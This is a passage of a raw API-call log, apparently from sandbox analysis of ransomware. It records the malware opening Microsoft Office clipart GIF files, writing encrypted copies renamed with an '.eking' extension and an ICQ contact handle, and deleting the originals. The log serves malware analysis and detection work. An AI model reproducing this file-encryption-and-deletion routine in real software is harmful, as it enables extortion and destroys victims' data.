(lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0254.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0254.048] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0254.048] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0254.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0254.049] ReadFile (in: hFile=0x38c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x1c30, lpOverlapped=0x0) returned 1 [0254.051] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x1c40, lpOverlapped=0x0) returned 1 [0254.053] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0254.053] CloseHandle (hObject=0x38c) returned 1 [0254.054] CloseHandle (hObject=0x394) returned 1 [0254.055] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 0 [0254.055] SetEvent (hEvent=0x2b8) returned 1 [0254.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0254.057] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=14873) returned 1 [0254.057] CloseHandle (hObject=0x394) returned 1 [0254.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 0x220 [0254.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 0x220 [0254.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0254.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0254.062] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0254.062] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0254.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x38c [0254.067] ReadFile (in: hFile=0x394, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x3a19, lpOverlapped=0x0) returned 1 [0254.071] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x3a20, lpOverlapped=0x0) returned 1 [0254.072] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0254.072] CloseHandle (hObject=0x394) returned 1 [0254.073] CloseHandle (hObject=0x38c) returned 1 [0254.073] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 0 [0254.074] SetEvent (hEvent=0x2b8) returned 1 [0254.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0254.076] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=6684) returned 1 [0254.076] CloseHandle (hObject=0x38c) returned 1 [0254.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 0x220 [0254.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 0x220 [0254.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0254.078] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0254.078] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0254.078] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0254.078] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0254.079] ReadFile (in: hFile=0x38c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x1a1c, lpOverlapped=0x0) returned 1 [0254.082] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x1a20, lpOverlapped=0x0) returned 1 [0254.083] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0254.084] CloseHandle (hObject=0x38c) returned 1 [0254.084] CloseHandle (hObject=0x394) returned 1 [0254.085] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 0 [0254.085] SetEvent (hEvent=0x2b8) returned 1 [0254.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0254.087] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3251) returned 1 [0254.087] CloseHandle (hObject=0x394) returned 1 [0254.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 0x220 [0254.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 0x220 [0254.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0254.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0254.089] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0254.089] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0254.089] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x38c [0254.130] ReadFile (in: hFile=0x394, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xcb3, lpOverlapped=0x0) returned 1 [0254.138] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xcc0, lpOverlapped=0x0) returned 1 [0254.139] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0254.139] CloseHandle (hObject=0x394) returned 1 [0254.139] CloseHandle (hObject=0x38c) returned 1 [0254.140] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 0 [0254.140] SetEvent (hEvent=0x2b8) returned 1 [0254.140] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0254.142] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=502) returned 1 [0254.142] CloseHandle (hObject=0x38c) returned 1 [0254.143] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 0x220 [0254.143] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 0x220 [0254.143] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0254.143] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0254.143] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0254.143] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0254.143] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0254.145] ReadFile (in: hFile=0x38c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x1f6, lpOverlapped=0x0) returned 1 [0254.147] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x200, lpOverlapped=0x0) returned 1 [0254.148] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0254.152] CloseHandle (hObject=0x38c) returned 1 [0254.153] CloseHandle (hObject=0x394) returned 1 [0254.153] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 0 [0254.154] SetEvent (hEvent=0x2b8) returned 1 [0254.154] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0254.155] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=12702) returned 1 [0254.155] CloseHandle (hObject=0x394) returned 1 [0254.155] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 0x220 [0254.155] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 0x220 [0254.155] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0254.157] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0254.157] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0254.157] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0254.157] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x38c [0254.159] ReadFile (in: hFile=0x394, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x319e, lpOverlapped=0x0) returned 1 [0254.161] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x31a0, lpOverlapped=0x0) returned 1 [0254.162] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0254.163] CloseHandle (hObject=0x394) returned 1 [0254.163] CloseHandle (hObject=0x38c) returned 1 [0254.163] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 0 [0254.163] SetEvent (hEvent=0x2b8) returned 1 [0254.164] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0254.164] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3484) returned 1 [0254.164] CloseHandle (hObject=0x38c) returned 1 [0254.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 0x220 [0254.165] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 0x220 [0254.165] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0254.165] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0254.165] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0254.165] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0254.165] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0254.167] ReadFile (in: hFile=0x38c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xd9c, lpOverlapped=0x0) returned 1 [0254.169] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xda0, lpOverlapped=0x0) returned 1 [0254.170] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0254.171] CloseHandle (hObject=0x38c) returned 1 [0254.171] CloseHandle (hObject=0x394) returned 1 [0254.171] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 0 [0254.171] SetEvent (hEvent=0x2b8) returned 1 [0254.172] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0254.172] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3140) returned 1 [0254.172] CloseHandle (hObject=0x394) returned 1 [0254.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 0x220 [0254.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 0x220 [0254.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0254.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0254.173] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) 